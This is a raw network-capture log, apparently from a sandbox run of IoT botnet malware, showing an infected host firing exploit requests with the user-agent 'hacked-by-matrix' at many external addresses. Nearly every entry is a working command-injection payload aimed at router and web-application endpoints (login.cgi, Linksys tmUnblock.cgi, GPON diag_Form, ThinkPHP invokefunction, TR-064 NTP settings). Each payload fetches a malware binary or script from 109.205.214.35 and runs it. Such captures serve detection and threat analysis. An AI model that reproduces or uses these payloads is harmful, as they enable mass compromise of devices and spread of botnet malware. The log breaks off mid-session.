Mar 21, 2024 05:26:19.757303953 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:22.124964952 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:26.735511065 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:35.951011896 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.168212891 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.23	33784	35.174.120.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.322397947 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:18.417759895 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:26:18 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.23	39436	172.65.4.29	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.567898989 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.23	52988	172.65.243.233	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.568331003 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.23	40694	172.65.62.164	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.568479061 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.23	36950	104.21.217.182	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.580595016 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.23	37890	172.65.62.9	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.663520098 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.23	57294	172.87.214.231	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:18.822216034 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.23	43144	109.202.126.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229367971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.23	56276	210.163.97.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229418039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.23	33948	212.247.238.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229424953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.23	49778	2.90.64.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229428053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.23	44358	109.222.189.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229440928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.23	42468	42.209.155.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229499102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.23	34008	42.180.10.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229563951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.23	39870	212.35.233.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.229595900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.23	52946	88.221.68.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.254223108 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:19.428515911 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:26:19 GMT Date: Thu, 21 Mar 2024 04:26:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 32 35 61 33 33 62 38 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 39 26 23 34 36 3b 65 33 39 64 39 32 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.925a33b8.1710995179.e39d92d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.23	48928	86.150.122.60	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:19.676948071 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.919504881 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:30.060334921 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.23	10952	181.199.134.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:20.152960062 CET	31	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 36 32 37 29 20 73 65 71 20 3d 20 30 Data Ascii: Reset from local:(1627) seq = 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.23	49002	86.150.122.60	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:20.875686884 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.23	46320	14.67.209.80	7547

Timestamp	Bytes transferred	Direction	Data
